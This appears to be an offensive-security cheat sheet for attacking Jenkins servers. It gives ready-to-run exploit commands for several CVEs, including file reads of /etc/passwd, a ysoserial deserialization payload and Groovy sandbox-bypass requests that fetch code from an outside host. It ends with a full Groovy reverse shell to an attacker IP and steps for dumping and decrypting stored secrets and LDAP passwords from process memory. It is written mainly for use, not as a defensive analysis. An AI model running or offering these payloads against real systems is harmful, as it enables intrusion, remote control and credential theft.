Awesome

Remote Code Execution

Jenkins CLI arbitrary read (CVE-2024-23897 applies to versions below 2.442 and LTS 2.426.3)

Authenticated, can retrieve a complete file:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Unauthenticated or missing Global/Read permissions, can only read 3 lines: Read first line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Read second line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Read third line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

How to bruteforce the credential encryption key.

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins Advisory

Details here.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Jenkins Advisory

Original RCE vulnerability here, full exploit here.

Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Jenkins Advisory, Credits.

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Note: If you get a 403 error complaining about a missing crumb (which is a CSRF protection in Jenkins), you may be able to get the crumb value with a GET request to https://example.com/crumbIssuer/api/json. The crumb value shall then be added to the POST request in a Jenkins-Crumb Header.

Execute arbitraty bash commands:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

If you don't immediately get a reverse shell you can debug by throwing an exception:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

Jenkins Advisory, Credits.

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Jenkins Advisory, Credits

Note that this is only exploitable if using a dedicated and out-of-date Update Center. Therefore most servers are not vulnerable.

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Password spraying

Use this python script or this powershell script.

Files to copy after compromission

These files are needed to decrypt Jenkins secrets:

secrets/master.key
secrets/hudson.util.Secret

Such secrets can usually be found in:

credentials.xml
jobs/.../build.xml

Here's a regexp to find them:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Dumping LDAP credentials on a compromised machine

If Jenkins is configured to verify user credentials by relaying them to a LDAP (which is retarded, but a common vulnerability in companies) it's possible to recover these cleartext user credentials by dumping the Java process' memory. Assuming PID 7 for the Jenkins server the following loop will perform a memory dump of the stack every 30 seconds:

head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

A small delay is important because the garbage collector will regularly free the credential structures.

Decrypt Jenkins secrets offline

Use this script to decrypt previsously dumped secrets.

Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy Scripts

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Command execution from Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Multiline shell command that can include pipes, redirects and stuff:

def proc = ['bash', '-c', '''your_long_command_here'''].execute();

Automate it using this script.

Command execution on specific slave

By default execution happens on the master node. Use this script to execute on a specific slave:

import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

Reverse shell from Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy